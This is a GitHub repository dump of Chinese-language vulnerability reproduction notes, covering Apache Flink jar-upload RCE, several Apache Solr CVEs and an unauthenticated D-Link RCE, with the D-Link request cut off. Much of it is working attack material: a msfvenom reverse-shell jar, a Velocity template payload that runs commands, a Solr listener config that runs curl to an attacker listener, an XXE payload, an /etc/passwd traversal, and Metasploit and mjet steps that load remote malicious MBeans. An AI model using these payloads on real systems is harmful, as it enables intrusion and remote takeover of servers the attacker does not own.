├── README.md ├── apache flink └── flink上传jar导致rce │ ├── assets │ ├── dashboard.png │ ├── msf.png │ ├── rce.png │ ├── submit.png │ └── upload.png │ └── readme.md ├── apache_solr ├── Apache Solr Velocity模板远程代码执行 │ ├── assets │ │ ├── config.png │ │ ├── cores.png │ │ ├── cores2.png │ │ ├── poc.png │ │ └── result.png │ └── readme.md ├── CVE-2017-12629 │ ├── assets │ │ ├── setp2.png │ │ ├── setp4.png │ │ ├── setp5.png │ │ ├── webinfo.png │ │ └── 屏幕截图_9.png │ └── readme.md ├── CVE-2017-3163 │ ├── assets │ │ ├── get_core.png │ │ └── res.png │ └── readme.md ├── CVE-2019-0193 │ ├── assets │ │ ├── cores.png │ │ ├── poc.png │ │ └── poc2.png │ └── readme.md └── cve-2019-12409 │ ├── assets │ ├── install.png │ ├── msf.png │ └── pwd.png │ └── readme.md ├── d-link └── dlink未授权rce │ ├── assets │ ├── dnslog.png │ ├── login.png │ └── python_poc.png │ └── readme.md ├── django └── django jsonfield sql注入 │ ├── assets │ ├── admin.png │ ├── evil.png │ ├── models.png │ ├── normal.png │ └── postgres.png │ └── readme.md ├── docker └── docker未授权访问toRCE │ ├── assets │ ├── crontab.png │ └── python_poc.png │ └── readme.md ├── dubbo └── CVE-2020-1948 │ ├── assets │ └── calc.png │ └── readme.md ├── e-cology(泛微oa系统) └── e-cology未授权RCE │ ├── assets │ ├── local.png │ └── poc.png │ └── readme.md ├── elasticsearch └── elasticsearch未授权访问 │ ├── assets │ ├── nodes.png │ └── python_poc.png │ └── readme.md ├── fpm └── php-fpm未授权访问漏洞 │ ├── assets │ ├── res.png │ └── vulhub.png │ └── readme.md ├── harbor └── harbor任意管理员注册(cve-2019-1609) │ ├── assets │ ├── index.png │ ├── poc.png │ ├── result.png │ ├── users.png │ └── 屏幕截图.png │ └── readme.md ├── jboss ├── cve-2007-1036 │ ├── assets │ │ ├── burp_poc.png │ │ └── pocsuite3.png │ └── readme.md ├── cve-2010-0738 │ ├── assets │ │ ├── burp_poc.png │ │ ├── python_poc.png │ │ └── python_poc1.png │ └── readme.md ├── cve-2013-4810 │ ├── assets │ │ ├── a.war │ │ ├── burp_poc.png │ │ ├── poc.png │ │ ├── python_poc.png │ │ └── usage.png │ └── readme.md └── cve-2017-7504 │ ├── assets │ ├── poc1.png │ └── poc2.png │ └── readme.md ├── jenkins ├── CVE-2018-1999002 │ └── readme.md ├── cve-2016-0792 │ ├── assets │ │ ├── burp_poc.png │ │ ├── burp_poc1.png │ │ └── dnslog.png │ ├── python_poc.png │ └── readme.md └── jenkins未授权RCE │ ├── assets │ ├── manage.png │ ├── python_poc.png │ └── script.png │ └── readme.md ├── jetty └── jetty漏洞收集.md ├── jira └── 未授权ssrf │ ├── assets │ ├── burp.png │ └── python_poc.png │ └── readme.md ├── joomla └── joomla3.4.6 未授权rce │ ├── assets │ ├── exp.png │ ├── poc.png │ ├── python_poc.png │ └── shell.png │ ├── joomla346_rce.py │ └── readme.md ├── kibana └── kibana未授权命令执行 │ ├── assets │ └── kibana.png │ ├── kibana_cmd_exec_cve20197609.py │ └── readme.md ├── memcached └── memcached未授权访问 │ ├── assets │ ├── poc.png │ ├── 屏幕截图.png │ ├── 屏幕截图_1.png │ └── 屏幕截图_2.png │ └── readme.md ├── mysql └── mysql LOAD DATA INFILE 任意文件读取漏洞 │ ├── assets │ ├── 3307.png │ ├── config.png │ ├── evil_mysql.png │ ├── forbidden.png │ └── phpmyadmin.png │ └── readme.md ├── openssl └── 心脏滴血 │ ├── assets │ ├── poc.png │ └── python_poc.png │ ├── openssl.py │ └── readme.md ├── php └── cve-2019-11043 │ ├── assets │ ├── ls.png │ ├── poc.png │ ├── res1.png │ └── res2.png │ └── readme.md ├── phpmyadmin └── CVE-2018-12613 LFI │ ├── assets │ └── poc.png │ └── readme.md ├── redis └── redis未授权访问漏洞 │ ├── assets │ └── python_poc.png │ └── readme.md ├── spring boot └── springboot spel表达式注入 │ ├── assets │ ├── code.png │ ├── maven.png │ ├── poc.png │ └── springinit.png │ └── readme.md ├── spring ├── Spring-Data-Rest-RCE_ │ ├── assets │ │ ├── poc.png │ │ └── python.png │ └── readme.md ├── XMLBeam-XXE(CVE-2018-1259) │ ├── assets │ │ ├── poc.png │ │ └── test.png │ └── readme.md ├── spring-messaging │ ├── assets │ │ ├── idea.png │ │ ├── poc.png │ │ └── web.png │ └── readme.md ├── spring-mvc目录穿越 │ └── readme.md └── spring一些其他相关漏洞.md ├── sudo └── CVE-2019-14287(sudo权限绕过) │ ├── assets │ ├── poc.png │ └── sudoers.png │ └── readme.md ├── thinkcmfx └── thinkcmfx任意内容包含漏洞 │ ├── assets │ ├── dnslog.png │ ├── poc1.png │ └── poc2.png │ └── readme.md ├── thinkphp ├── thinkphp5 sql注入1 │ ├── assets │ │ ├── builder_insert.png │ │ ├── data.png │ │ ├── data1.png │ │ ├── index.png │ │ ├── insert.png │ │ ├── insertSql.png │ │ ├── poc.png │ │ └── sql.png │ └── readme.md ├── thinkphp5 sql注入2 │ ├── assets │ │ └── poc.png │ └── readme.md ├── thinkphp5023_rce │ ├── assets │ │ ├── poc.png │ │ └── trace.png │ └── readme.md ├── thinkphp5_lfi │ ├── assets │ │ └── phpinfo.png │ └── readme.md └── thinkphp5_rce │ ├── assets │ ├── browser.png │ ├── burp.png │ └── trace.png │ └── readme.md └── tomcat └── tomcat-ajp-lfi ├── README.md └── assets └── poc.png /README.md: -------------------------------------------------------------------------------- 1 | # vuls 2 | ![](https://img.shields.io/badge/%E5%85%AC%E4%BC%97%E5%8F%B7-%E4%B8%80%E4%B8%AA%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6%E5%91%98-brightgreen) 3 | 4 | 5 | 收集整理一些漏洞,利用方法,poc等等,方便快速查阅 6 | 7 | -------------------------------------------------------------------------------- /apache flink/flink上传jar导致rce/assets/dashboard.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache flink/flink上传jar导致rce/assets/dashboard.png -------------------------------------------------------------------------------- /apache flink/flink上传jar导致rce/assets/msf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache flink/flink上传jar导致rce/assets/msf.png -------------------------------------------------------------------------------- /apache flink/flink上传jar导致rce/assets/rce.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache flink/flink上传jar导致rce/assets/rce.png -------------------------------------------------------------------------------- /apache flink/flink上传jar导致rce/assets/submit.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache flink/flink上传jar导致rce/assets/submit.png -------------------------------------------------------------------------------- /apache flink/flink上传jar导致rce/assets/upload.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache flink/flink上传jar导致rce/assets/upload.png -------------------------------------------------------------------------------- /apache flink/flink上传jar导致rce/readme.md: -------------------------------------------------------------------------------- 1 | Apache Flink 任意 Jar 包上传致 RCE 漏洞复现 2 | 3 | #### 0x00 简介 4 | Flink核心是一个流式的数据流执行引擎,其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。基于流执行引擎,Flink提供了诸多更高抽象层的API以便用户编写分布式任务。 5 | 6 | #### 0x01 漏洞概述 7 | 8 | 攻击者可直接在Apache Flink Dashboard页面中上传任意jar包,从而达到远程代码执行的目的。 9 | 10 | #### 0x02 影响版本 11 | 12 | 至目前最新版本Apache Flink 1.9.1 13 | 14 | #### 0x03 环境搭建 15 | 16 | 测试环境:Flink 1.9.1 java8+ 17 | 18 | Apache Flink 1.9.1安装包下载 19 | 20 | `https://www.apache.org/dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz` 21 | 22 | 解压后进入bin文件夹,运行./start-cluster.sh 23 | 24 | 验证Flink启动之后,默认web 端口8081是否正常 25 | 26 | 访问http://ip:8081/可看到环境页面 27 | 28 | ![](assets/dashboard.png) 29 | 30 | #### 0x04 漏洞利用 31 | 32 | 1、上传msf生成的jar包 33 | 34 | 生成rce.jar文件 35 | 36 | `msfvenom -p java/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=8989 -f jar > rce.jar` 37 | 38 | ![](assets/rce.png) 39 | 40 | 在flink中上传rce.jar文件 41 | 42 | ![](assets/upload.png) 43 | 44 | 45 | msf启用监听 46 | 47 | ![](assets/msf.png) 48 | 49 | 然后在flink中选中我们刚刚上传的jar文件,点击submit,msf就会收到一个反向连接,得到一个session 50 | 51 | ![](assets/submit.png) 52 | 53 | 54 | #### python poc 55 | 56 | 写python poc也很简单了,直接利用dnslog的方式检测目标主机是否反向dns解析我们的dnslog平台就行了,也就是我们利用msf生成一个LHOST为dnslog平台域名的jar,然后利用requests将这个jar传上去,然后再用requests模拟submit操作,最后验证dnslog平台是否有记录就行了 -------------------------------------------------------------------------------- /apache_solr/Apache Solr Velocity模板远程代码执行/assets/config.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache_solr/Apache Solr Velocity模板远程代码执行/assets/config.png -------------------------------------------------------------------------------- /apache_solr/Apache Solr Velocity模板远程代码执行/assets/cores.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache_solr/Apache Solr Velocity模板远程代码执行/assets/cores.png -------------------------------------------------------------------------------- /apache_solr/Apache Solr Velocity模板远程代码执行/assets/cores2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache_solr/Apache Solr Velocity模板远程代码执行/assets/cores2.png -------------------------------------------------------------------------------- /apache_solr/Apache Solr Velocity模板远程代码执行/assets/poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache_solr/Apache Solr Velocity模板远程代码执行/assets/poc.png -------------------------------------------------------------------------------- /apache_solr/Apache Solr Velocity模板远程代码执行/assets/result.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache_solr/Apache Solr Velocity模板远程代码执行/assets/result.png -------------------------------------------------------------------------------- /apache_solr/Apache Solr Velocity模板远程代码执行/readme.md: -------------------------------------------------------------------------------- 1 | #### 漏洞介绍 2 | 3 | 近日,国外安全研究员 s00py 公开了一个 Apache Solr 的 Velocity 模板注入的漏洞.经过亚信安全网络攻防实验室研究,发现该0day漏洞真实存在,并且 4 | 可以攻击最新版本的Solr.目前该漏洞利用详情已经广泛流传于Github以及各大安全群,且公开的EXP可以执行任意命令并自带回显.官方暂未发布补丁 5 | 6 | #### 影响范围 7 | 8 | Solr version: >5,在8.2.0环境中测试成功 9 | 10 | #### 复现过程 11 | 12 | ###### 0x01 获取core名 13 | 14 | ![](assets/cores.png) 15 | 16 | 或者访问/solr/admin/cores?wt=json,个人更推荐这种方式,因为这种方式在写poc时可以很方便的获取cores 17 | 18 | ![](assets/cores2.png) 19 | 20 | 21 | ###### 0x02 修改配置 22 | 23 | 开启params.resource.loader.enabled,发送如下请求 24 | 25 | ``` 26 | POST /solr/core_name/config HTTP/1.1 27 | Host: ip 28 | User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0 29 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 30 | Accept-Language: en-US,en;q=0.5 31 | Accept-Encoding: gzip, deflate 32 | Content-Type: application/json 33 | Content-Length: 229 34 | Origin: ip 35 | Connection: close 36 | Referer: xxxxx 37 | Upgrade-Insecure-Requests: 1 38 | Pragma: no-cache 39 | Cache-Control: no-cache 40 | 41 | { 42 | "update-queryresponsewriter": { 43 | "startup": "lazy", 44 | "name": "velocity","class": "solr.VelocityResponseWriter", 45 | "template.base.dir": "", 46 | "solr.resource.loader.enabled": "true", 47 | "params.resource.loader.enabled": "true" 48 | } 49 | } 50 | ``` 51 | 注意下图圈起来的部分替换为我们第一步获取到的core名(任意一个都行) 52 | ![](assets/config.png) 53 | 54 | ###### 0x03 执行命令 55 | 56 | ` 57 | /solr/hot_search/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23en` 58 | 59 | 执行结果如下 60 | 61 | ![](assets/poc.png) 62 | 63 | 64 | #### python_poc 65 | 66 | 暂不放出,由于漏洞曝光不久,扫描结果显示漏洞主机有很多 67 | 68 | ![](assets/result.png) -------------------------------------------------------------------------------- /apache_solr/CVE-2017-12629/assets/setp2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache_solr/CVE-2017-12629/assets/setp2.png -------------------------------------------------------------------------------- /apache_solr/CVE-2017-12629/assets/setp4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache_solr/CVE-2017-12629/assets/setp4.png -------------------------------------------------------------------------------- /apache_solr/CVE-2017-12629/assets/setp5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache_solr/CVE-2017-12629/assets/setp5.png -------------------------------------------------------------------------------- /apache_solr/CVE-2017-12629/assets/webinfo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache_solr/CVE-2017-12629/assets/webinfo.png -------------------------------------------------------------------------------- /apache_solr/CVE-2017-12629/assets/屏幕截图_9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache_solr/CVE-2017-12629/assets/屏幕截图_9.png -------------------------------------------------------------------------------- /apache_solr/CVE-2017-12629/readme.md: -------------------------------------------------------------------------------- 1 | CVE-2017-12629利用的一些说明 2 | -- 3 | 4 | ### 说明 5 | 6 | 这个漏洞需要在分布式安装的情况下才能完整利用,但是我看到vulhub上的环境,他不是分布式搭建的solr,依然可以利用,我猜测大概是因为测试环境,我们事先是知道core的名字或者collection名字的,所以在大家使用vulhub上solr的漏洞环境,依然可以成功执行命令,但是在真实的环境中我们可能不知道core或者collection的名字,所以这个时候如果目标搭建的一个分布式solr,我们不知道现有的core或者collection名也没有关系,因为,分布式solr允许我们未授权创建一个collection。这就为后续的漏洞利用提供了条件。 7 | 8 | ### RCE利用流程 9 | 10 | 上面也提到了,vulhub上的漏洞环境是定制的,我们是提前知道core名的,所以那个攻击链是不完整的,我们这里,所以我这里贴出完整的攻击链 11 | 12 | 引用exp-db上的 13 | 14 | - Step 1. Create a new collection: 15 | 16 | `http://localhost:8983/solr/admin/collections?action=CREATE&name=newcollection&numShards=2` 17 | 18 | ![](assets/屏幕截图_9.png) 19 | 20 | - Step 2. Set up a listener on any port by using netcat command "nc -lv 4444" 21 | 22 | - Step 3. Add a new RunExecutableListener listener for the collection where "exe" attribute contents the name of running command ("/usr/bin/curl") and "args" attribute contents "http://localhost:4444/executed" value to make a request to the attacker's netcat listener: 23 | 24 | ``` 25 | POST /solr/newcollection/config HTTP/1.1 26 | Host: localhost:8983 27 | Connection: close 28 | Content-Type: application/json 29 | Content-Length: 198 30 | 31 | { 32 | "add-listener" : { 33 | "event":"postCommit", 34 | "name":"newlistener", 35 | "class":"solr.RunExecutableListener", 36 | "exe":"curl", 37 | "dir":"/usr/bin/", 38 | "args":["http://localhost:4444/executed"] 39 | } 40 | } 41 | ``` 42 | ![](assets/setp2.png) 43 | 44 | - Step 4. Update "newcollection" to trigger execution of RunExecutableListener: 45 | 46 | ``` 47 | POST /solr/newcollection/update HTTP/1.1 48 | Host: localhost:8983 49 | Connection: close 50 | Content-Type: application/json 51 | Content-Length: 19 52 | 53 | [{"id":"test"}] 54 | ``` 55 | ![](assets/setp4.png) 56 | 57 | - Step 5. You will see a request from the Solr server on your netcat listener. It proves that the curl command is executed on the server. 58 | 59 | 60 | ![](assets/setp5.png) 61 | 62 | 以上就是一个完整的命令执行流程 63 | 64 | poc:apache_solr_cmd_exec_cve201712629 65 | 66 | ### XXE 利用流程 67 | 68 | xxe的利用是不需要分布式的solr的,可利用性更大,payload(注意下面的axina应该替换为目标机上已有的core名,可以通过访问/solr/admin/cores查看): 69 | 70 | `http://127.0.0.1:8983/solr/axina/select?q={!xmlparser%20v=%27%3C!DOCTYPE%20a%20SYSTEM%20%22http://127.0.0.1:8000/test%22%3E%3Ca%3E%3C/a%3E%27}` 71 | 72 | 我本地的webserver收到了请求: 73 | 74 | ![](assets/webinfo.png) 75 | 76 | 说明漏洞成功触发 77 | 78 | ### 参数注入的方式利用漏洞 79 | 80 | 81 | ### 参考 82 | 83 | 环境搭建及利用参考:https://blog.csdn.net/qq_33020901/article/details/79131870 84 | 85 | 漏洞分析参考:https://paper.seebug.org/425/ 86 | 87 | ### 注 88 | 89 | 反弹shell利用方式,还没有完善,留个坑 -------------------------------------------------------------------------------- /apache_solr/CVE-2017-3163/assets/get_core.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache_solr/CVE-2017-3163/assets/get_core.png -------------------------------------------------------------------------------- /apache_solr/CVE-2017-3163/assets/res.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache_solr/CVE-2017-3163/assets/res.png -------------------------------------------------------------------------------- /apache_solr/CVE-2017-3163/readme.md: -------------------------------------------------------------------------------- 1 | CVE-2017-3163复现 2 | -- 3 | 4 | Target Solr version: <5.5.4 and <6.4.1 Requirements: none 5 | 6 | `GET /solr/db/replication?command=filecontent&file=../../../../../../../../../../../../../etc/passwd&wt=filestream&generation=1` 7 | 8 | There is also an unfixed SSRF here, but with the existence of "shards" feature it's hardly considered as a vulnerability: 9 | 10 | `GET /solr/db/replication?command=fetchindex&masterUrl=http://callback/xxxx&wt=json&httpBasicAuthUser=aaa&httpBasicAuthPassword=bbb` 11 | 12 | 此处我只复现一下文件读取吧 13 | 14 | ![](assets/res.png) 15 | 16 | 这里需要注意上面链接的db是core的名字,这个需要根据真实的攻击场景自行更改,我们在真实环境中可以利用 17 | 18 | `/solr/admin/cores?wt=json`获取 19 | 20 | ![](assets/get_core.png) 21 | 22 | 写poc的时候也需要注意这一点 23 | 24 | 25 | 26 | ### 注 27 | 28 | 我的复现环境: solr 4.3.1 29 | 30 | 旧版本的solr是需要部署war包的。部署方式参考连接: 31 | 32 | https://lucien-zzy.iteye.com/blog/2002087 33 | 34 | https://github.com/artsploit/solr-injection 35 | -------------------------------------------------------------------------------- /apache_solr/CVE-2019-0193/assets/cores.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache_solr/CVE-2019-0193/assets/cores.png -------------------------------------------------------------------------------- /apache_solr/CVE-2019-0193/assets/poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache_solr/CVE-2019-0193/assets/poc.png -------------------------------------------------------------------------------- /apache_solr/CVE-2019-0193/assets/poc2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache_solr/CVE-2019-0193/assets/poc2.png -------------------------------------------------------------------------------- /apache_solr/CVE-2019-0193/readme.md: -------------------------------------------------------------------------------- 1 | CVE-2019-0193 复现概述 2 | -- 3 | 4 | ### 影响范围 5 | 6 | Apache Solr < 8.2.0 7 | 8 | ### 环境搭建 9 | 10 | 版本: solr 7.7.2 11 | 12 | 环境搭建这里是比较坑的,我之前不知道solr有dataimporthandler的案例,搭建环境花费了很长时间,总是报错,而且还没有成功23333。实际上只需要如下命令就行 13 | 14 | `bin/solr -e dih` 15 | 16 | 上面的命令就会启动一个搭建好dataimporthandler的环境,访问8983端口,我们就能直接复现漏洞了。 17 | 18 | ### 漏洞复现 19 | 20 | 这个漏洞利用的前提就是需要知道core一个core的名字,这个我们可以通过访问 21 | 22 | `http://127.0.0.1:8983/solr/admin/cores` 23 | 24 | 获取,如下 25 | 26 | ![](assets/cores.png) 27 | 28 | 我们接下来就以atom这个core为例进行复现。poc1如下: 29 | 30 | ``` 31 | POST /solr/atom/dataimport HTTP/1.1 32 | Host: 127.0.0.1:8983 33 | User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 34 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 35 | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 36 | Accept-Encoding: gzip, deflate 37 | Connection: close 38 | Cookie: bdshare_firstime=1564113816358 39 | Upgrade-Insecure-Requests: 1 40 | Content-Type: application/x-www-form-urlencoded 41 | Content-Length: 501 42 | 43 | command=full-import&verbose=false&clean=false&commit=true&debug=true&core=atom&name=dataimport&dataConfig= 44 | 45 | 46 | 53 | 54 | 59 | 60 | 61 | 62 | 63 | ``` 64 | 65 | 上面的poc中的atom替换为你自己环境中的core名,然后我这里是启动wireshark,这个自己随机指定一个软件都行。 66 | 67 | ![](assets/poc.png) 68 | 69 | 上面那个poc是利用了stackoverfolw返回的xml文档, 稳定性不太好,接下来这个poc更具有普适性 70 | 71 | ``` 72 | POST /solr/atom/dataimport HTTP/1.1 73 | Host: 127.0.0.1:8983 74 | User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 75 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 76 | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 77 | Accept-Encoding: gzip, deflate 78 | Connection: close 79 | Cookie: bdshare_firstime=1564113816358 80 | Upgrade-Insecure-Requests: 1 81 | Content-Type: application/x-www-form-urlencoded 82 | Content-Length: 554 83 | 84 | command=full-import&verbose=false&clean=false&commit=true&debug=true&core=atom&name=dataimport&dataConfig= 85 | 86 | 87 | 94 | 95 | 100 | 101 | 102 | ``` 103 | 104 | 效果如下: 105 | 106 | ![](assets/poc2.png) 107 | 108 | **这个poc比较重要的一点就是url的值,这个值链接的目标应该返回一个正常的xml文档** 109 | 110 | 111 | 112 | -------------------------------------------------------------------------------- /apache_solr/cve-2019-12409/assets/install.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache_solr/cve-2019-12409/assets/install.png -------------------------------------------------------------------------------- /apache_solr/cve-2019-12409/assets/msf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache_solr/cve-2019-12409/assets/msf.png -------------------------------------------------------------------------------- /apache_solr/cve-2019-12409/assets/pwd.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/apache_solr/cve-2019-12409/assets/pwd.png -------------------------------------------------------------------------------- /apache_solr/cve-2019-12409/readme.md: -------------------------------------------------------------------------------- 1 | #### 漏洞简介 2 | 3 | 近日安全研究人员JanHøydahl披露了Apache Solr的8.1.1和8.2.0发行版中的默认配置文件solr.in.sh,在其配置文件中ENABLE_REMOTE_JMX_OPTS字段值默认为”true”.如果使用受影响版本中的默认配置,那么将启用JMX监视服务并将对公网监听一个18983的RMI端口,且无需进行任何身份验证.如果防火墙中的入站流量打开了此端口,则只要具有Solr节点网络访问权限就能够访问JMX,并且可以上传恶意代码在Solr服务器上执行. 4 | 5 | 该漏洞不影响Windows系统的用户,仅影响部分版本的Linux用户。 6 | 7 | 8 | #### 影响版本 9 | 10 | solr 8.1.1 11 | 12 | solr 8.2.0 13 | 14 | #### 环境搭建 15 | 16 | 直接去官网下载solr 8.2.0版本,然后运行目录下的bin/solr 17 | `./solr start -p 8983` 18 | 19 | 然后使用msf直接上手,可直接拿到shell 20 | 21 | ``` 22 | use exploit/multi/misc/java_jmx_server 23 | set payload java/meterpreter/reverse_tcp 24 | set LHOST 攻击机ip 25 | set RPORT 18983 26 | set RHOST 目标机ip 27 | run 28 | ``` 29 | 30 | ![](assets/msf.png) 31 | 32 | 当然,msf总是显得有点笨拙了。还可以利用mjet(https://github.com/mogwailabs/mjet)来利用这个漏洞 33 | 34 | mjet使用方法直接去github上看,先是部署恶意Mbean 35 | 36 | `java -jar jython-standalone-2.7.0.jar mjet.py 127.0.0.1 18983 install super_secret http://127.0.0.1:8000 8000` 37 | 38 | ![](assets/install.png) 39 | 40 | 因为我是在本地复现的漏洞,所以我的目标机与web服务器都是填的127.0.0.1,上面的命令执行过程中会在本地搭建一个Web服务器,并把恶意Bean部署到http://127.0.0.1:8000/,然后还会让目标机远程加载我们部署的恶意Mbean,并在目标机上创建这个Mbean,相当于复制过去了。 41 | 然后我们就可以利用jmx协议控制这个恶意Mbean,以实现RCE,本地运行如下命令: 42 | 43 | `java -jar ../jython-standalone-2.7.0.jar mjet.py 127.0.0.1 18983 command super_secret "pwd"` 44 | 45 | 其中super_secret是我们上一步设置的密码。 46 | 47 | ![](assets/pwd.png) 48 | 49 | 50 | #### python poc 51 | 52 | 其实有了mjet这些了还要啥python poc啊,因为涉及到使用jmx协议,我看到有个库是Jype,可以调用java代码,但是比起Jython也并没有简单多少....所以老老实实用Jython挺好。其实一开始我打算写python poc的时候有个误区,当时我一直觉得必须要恶意的Mbean才能验证这个漏洞,但是后面小伙伴告诉我直接用dnslog的方式验证也可以,我一想确实是这样,所以,要是不想用jython可以直接抓取攻击过程jmx协议的流量,然后再利用socket发包的形式来复现漏洞利用流程,以实现一个纯python的poc。当然我最后不是这么干的~ 53 | 54 | 在写这个poc的过程中,我了解到如果在使用Jython过程中,java跑出了异常,那么是不能用except Exception as e这种方式捕获的,而是如下形式: 55 | ```python 56 | try: 57 | xxxxx 58 | except: 59 | xxxxx 60 | ``` 61 | 62 | 也就是不用Exception 63 | 64 | 65 | #### 修复 66 | 67 | 既然是默认配置导致的问题,那么把配置改一下就好了,文件solr.in.sh中ENABLE_REMOTE_JMX_OPTS字段值改为false 68 | 69 | 70 | #### 附 71 | 72 | - 1.启动托管MLet和含有恶意MBean的JAR文件的Web服务器 73 | 74 | - 2.使用JMX在目标服务器上创建MBeanjavax.management.loading.MLet的实例 75 | 76 | - 3.调用MBean实例的getMBeansFromURL方法,将Web服务器URL作为参数进行传-递。JMX服务将连接到http服务器并解析MLet文件 77 | 78 | - 4.JMX服务下载并归档MLet文件中引用的JAR文件,使恶意MBean可通过JMX获取 79 | 80 | - 5.攻击者最终调用来自恶意MBean的方法 81 | 82 | 83 | 84 | 还是很值得学习的一种攻击方式 85 | -------------------------------------------------------------------------------- /d-link/dlink未授权rce/assets/dnslog.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/d-link/dlink未授权rce/assets/dnslog.png -------------------------------------------------------------------------------- /d-link/dlink未授权rce/assets/login.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/d-link/dlink未授权rce/assets/login.png -------------------------------------------------------------------------------- /d-link/dlink未授权rce/assets/python_poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/d-link/dlink未授权rce/assets/python_poc.png -------------------------------------------------------------------------------- /d-link/dlink未授权rce/readme.md: -------------------------------------------------------------------------------- 1 | ## 漏洞简介 2 | 3 | 2019年9月,Fortinet的FortiGuard Labs发现并向官方反馈了D-Link产品中存在的一个未授权命令注入漏洞(FG-VD-19-117/CVE-2019-16920),成功利用该漏洞后,攻击者可以在设备上实现远程代码执行(RCE)。由于攻击者无需通过身份认证就能远程触发该漏洞,因此我们将该漏洞标记为高危级别漏洞。 4 | 5 | 根据我们的测试,搭载最新版固件的如下D-Link产品存在该漏洞: 6 | 7 | 8 | DIR-655 9 | DIR-866L 10 | DIR-652 11 | DHP-1565 12 | 13 | 在本文撰写时,这些产品已超出产品支持生命周期(EOL),这意味着厂商不会再为我们发现的问题提供补丁。FortiGuard Labs在此感谢厂商的快速响应,建议用户尽快升级到新的设备。 14 | 15 | 16 | ## 漏洞复现 17 | 18 | 登录页面长这样(DIR-866L) 19 | 20 | ![](assets/login.png) 21 | 22 | 23 | 构造如下请求包 24 | 25 | ``` 26 | POST /apply_sec.cgi HTTP/1.1 27 | Host: 162.xxx.xxxx.60:55555 28 | User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0 29 | Accept: 